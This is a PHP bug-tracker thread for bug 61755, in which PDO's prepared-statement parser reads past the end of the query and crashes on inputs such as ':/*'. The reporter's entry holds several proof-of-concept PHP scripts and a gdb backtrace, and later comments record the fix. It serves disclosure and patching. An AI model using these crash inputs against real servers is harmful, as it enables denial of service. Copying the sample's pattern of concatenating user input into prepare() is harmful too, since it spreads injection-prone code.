Edit report at https://bugs.php.net/bug.php?id=61755&edit=1
ID: 61755
Comment by: henri at nerv dot fi
Reported by: noamr at beyondsecurity dot com
Summary: A parsing bug in the prepared statements can lead to
access violations
Status: Closed
Type: Bug
Package: PDO related
Operating System: Windows and Linux
PHP Version: 5.4.0
Assigned To: johannes
Block user comment: N
Private report: N
New Comment:
Does this issue have CVE-identifier? I can request one if you haven't already
done so and someone verifies this is security issue.
Previous Comments:
------------------------------------------------------------------------
[2012-04-19 10:50:46] [email protected]
This bug has been fixed in SVN.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
For Windows:
http://windows.php.net/snapshots/
Thank you for the report, and for helping us make PHP better.
------------------------------------------------------------------------
[2012-04-19 09:22:29] [email protected]
The following patch has been added/updated:
Patch Name: bug61755.diff
Revision: 1334827349
URL:
https://bugs.php.net/patch-display.php?bug=61755&patch=bug61755.diff&revision=1334827349
------------------------------------------------------------------------
[2012-04-17 13:39:31] noamr at beyondsecurity dot com
Description:
------------
Inconsistent parsing of PHP PDO prepared statements. Erroneous design of
parsers
state machine. Under special circumstances parsing of prepared statements does
not stop leading in cycling the whole stack without terminating on \0. This
leads to access violations, accessing of stack data, DoS.
Bug Description
There are several design errors in the state-machine responsible for parsing
PHP
PDO based statement objects. These errors are based on the state-machines
inability to consistently check the supplied SQL-Query. Under special
circumstances an attacker is able to force the responsible PDO code to iterate
beyond the termination of the supplied query string resulting in a buffer out
of
bounds access. This access may lead to uncontrollable as well as attacker
controllable behavior and Access Violations caused by the code iterating the
whole stack and trying to access addresses beyond the stack end.
Preconditions
* PDO is used to access the DB
* For remote attacks: User must be able to directly control any part of the
query string prior its preparation (stm->prepare()). We are well aware that
this
is a general coding fault which leads to other security relevant implications
but sadly enough itâs also quite common in many frameworks, projects to use
prepared statements with user controlled data instead of binding them after
preparation.
* Mysql_real_escape() is no mitigation for this vulnerability. (As stated
above,
there are indeed many projects using user controlled data encoded by
mysql_real_escape() like this: $argName=mysql_real_escape($_GET[âNameâ]);
$db-
>prepare(âSELECT * from âuserâ where âusernameâ=â$argNameâ;
>â).execute();
Test script:
---------------
(We have several samples, these are some of them)
This poc directly prepares the statements query passed to the script via GET
Request argument âqueryâ.
Examples: poc_pdo_short_get.php?query=/* poc_pdo_short_get.php?query=--:
<?php
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
//tokens:
// SELECT;*;from;'user';/*
//$sql = "SELECT * from 'user'/*";
$stmt = $db->prepare("SELECT * from
'user'".mysql_real_escape_string($_GET['query']));
$stmt->execute();
//crash
$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
print_r( $type);
}
catch (Exception $e)
{
echo "Failed: " . $e->getMessage();
}
?>
<?php
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
//tokens:
// SELECT;*;from;'user';/*
$sql = ":/*";
$stmt = $db->prepare($sql);
$stmt->execute(); // crashes php worker in pdo_parse_params()
$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
print_r( $type);
} catch (Exception $e) {
echo "Failed: " . $e->getMessage();
}
?>
<pre>
<?php
echo "hmm beginning\n";
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
echo "lets get it on\n";
//tokens:
// SELECT;*;from;'user';/*
$sql = "SELECT * from user :/**";
echo $sql;
$stmt = $db->prepare($sql);
echo "prepared :)\n";
print_r($stmt);
$stmt->execute(); // crashes php worker in pdo_parse_params()
print_r($stmt);
echo "executed :(\n";
$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
echo "--data-\n";
print_r( $type);
echo "--data--\n";
} catch (Exception $e) {
echo "EXCEPTION";
echo "Failed: " . $e->getMessage();
}
echo "hmmm end\n";
?>
</pre>
Actual result:
--------------
root@bt:/opt/lampp# gdb ./bin/php
(gdb) run poc_pdo_linux_short_1.php
Starting program: /opt/lampp/bin/php /opt/lampp/poc_pdo_linux_short_1.php
[Thread debugging using libthread_db enabled]
Program received signal SIGSEGV, Segmentation fault.
0x08228a81 in ?? ()
(gdb) bt
#0 0x08228a81 in ?? ()
#1 0x082280eb in pdo_parse_params ()
#2 0x08223891 in ?? ()
#3 0x084b2aad in ?? ()
#4 0x084b1f87 in execute ()
#5 0x08490ed2 in zend_execute_scripts ()
#6 0x0843f13c in php_execute_script ()
#7 0x08506b46 in main ()
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=61755&edit=1
